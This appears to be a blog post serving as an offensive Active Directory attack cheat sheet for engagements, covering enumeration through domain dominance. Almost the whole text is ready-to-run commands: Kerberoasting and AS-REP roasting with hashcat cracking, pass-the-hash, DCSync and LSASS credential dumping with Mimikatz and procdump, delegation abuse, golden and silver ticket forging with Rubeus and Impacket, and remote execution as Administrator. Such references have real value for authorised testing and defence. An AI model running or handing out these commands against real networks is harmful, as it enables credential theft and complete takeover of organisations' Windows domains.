Active Directory is the backbone of Windows enterprise environments and a high-value target during engagements. This post covers the most impactful AD attack techniques from initial enumeration to domain dominance.
Initial Enumeration [System.DirectoryServices.ActiveDirectory.Domain ]::GetCurrentDomain() net user /domain net group /domain net group "Domain Admins" /domain nltest /dclist:<domain>Import-Module .\PowerView.ps1Get-Domain Get-DomainUser -Properties SamAccountName,MemberOf,DescriptionGet-DomainGroup "Domain Admins" -Properties MembersGet-DomainComputer -Properties Name,OperatingSystem ldapsearch -x -H ldap://DC_IP -D "user@domain.local" -w password -b "DC=domain,DC=local" "(objectClass=user)"
Kerberoasting Service accounts with SPNs can have their tickets requested by any domain user. The ticket is encrypted with the service account’s password — offline crackable.
Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName Invoke-Kerberoast -OutputFormat Hashcat | Out-File kerberoast.txt .\Rubeus.exe kerberoast /outputfile:hashes.txt impacket-GetUserSPNs domain.local/user:password -dc-ip DC_IP -request impacket-GetUserSPNs domain.local/user:password -dc-ip DC_IP -outputfile kerberoast.txt hashcat -a 0 -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
AS-REP Roasting Accounts with “Do not require Kerberos preauthentication” don’t need a valid password to request an AS-REP. The response contains data encrypted with the user’s password hash — offline crackable.
Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName .\Rubeus.exe asreproast /outputfile:asreproast.txt /format:hashcat impacket-GetNPUsers domain.local/ -dc-ip DC_IP -no-pass -usersfile users.txt impacket-GetNPUsers domain.local/user:password -dc-ip DC_IP -request hashcat -a 0 -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt
Pass the Hash (PtH) Use NTLM hash instead of cleartext password:
impacket-psexec domain/Administrator@DC_IP -hashes :NT_HASH impacket-wmiexec domain/Administrator@DC_IP -hashes :NT_HASH impacket-smbexec domain/Administrator@DC_IP -hashes :NT_HASH crackmapexec smb DC_IP -u Administrator -H NT_HASH --exec-method smbexec crackmapexec smb 192.168.1.0/24 -u Administrator -H NT_HASH evil-winrm -i DC_IP -u Administrator -H NT_HASH sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:NT_HASH /run:cmd.exe
Pass the Ticket (PtT) Export Kerberos tickets and inject them for auth:
sekurlsa::tickets /export kerberos::ptt ticket.kirbi .\Rubeus.exe triage .\Rubeus.exe dump /luid:0 x123456 .\Rubeus.exe ptt /ticket:ticket.kirbi export KRB5CCNAME=/tmp/krb5cc_ticket impacket-psexec -k -no-pass domain.local/administrator@DC_FQDN
DCSync Pull password hashes from the DC as if you were a domain controller (requires Replicating Directory Changes / DS-Replication-Get-Changes):
lsadump::dcsync /domain:domain.local /user:Administrator lsadump::dcsync /domain:domain.local /all /csv impacket-secretsdump domain.local/Administrator:password@DC_IP impacket-secretsdump -hashes :NT_HASH domain.local/Administrator@DC_IP crackmapexec smb DC_IP -u Administrator -p password --ntds
Credential Dumping privilege::debug sekurlsa::logonpasswords sekurlsa::wdigest Task Manager → Details → lsass.exe → Create dump file procdump.exe -accepteula -ma lsass.exe lsass.dmp sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords impacket-secretsdump local -sam SAM -system SYSTEM -security SECURITY reg save HKLM\SAM SAM && reg save HKLM\SYSTEM SYSTEM
BloodHound / SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c All --zipfilename output.zip pip install bloodhound bloodhound-python -u user -p password -ns DC_IP -d domain.local -c all neo4j start bloodhound
Delegation Attacks Unconstrained Delegation Computers or users with unconstrained delegation store TGTs of all users that authenticate to them. If you compromise such a machine, extract TGTs.
Get-DomainComputer -Unconstrained Get-DomainUser -TrustedToAuth .\Rubeus.exe monitor /interval:5 /nowrap
Constrained Delegation Service can impersonate any user to specific services.
Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth .\Rubeus.exe s4u /user:svc_account /rc4:NT_HASH /impersonateuser:Administrator \ /msdsspn:"cifs/dc.domain.local" /ptt
Golden Ticket Forge Kerberos TGT using the krbtgt hash (obtained via DCSync):
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx \ /krbtgt:KRBTGT_NT_HASH /id:500 /ptt impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid S-1-5-21-xxx \ -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass domain.local/Administrator@DC_FQDN
Silver Ticket Forge a service ticket using the service account’s hash (doesn’t need DC):
kerberos::golden /user:Administrator /domain:domain.local /sid:DOMAIN_SID \ /target:server.domain.local /service:cifs \ /rc4:SERVICE_ACCOUNT_NT_HASH /ptt
Common Lateral Movement impacket-psexec domain/user:password@target_ip impacket-wmiexec domain/user:password@target_ip evil-winrm -i target_ip -u user -p password crackmapexec smb target_ip -u user -p password -x "whoami" xfreerdp /u:user /p:password /v:target_ip /cert-ignore rdesktop target_ip -u user -p password
No comments yet. Be the first.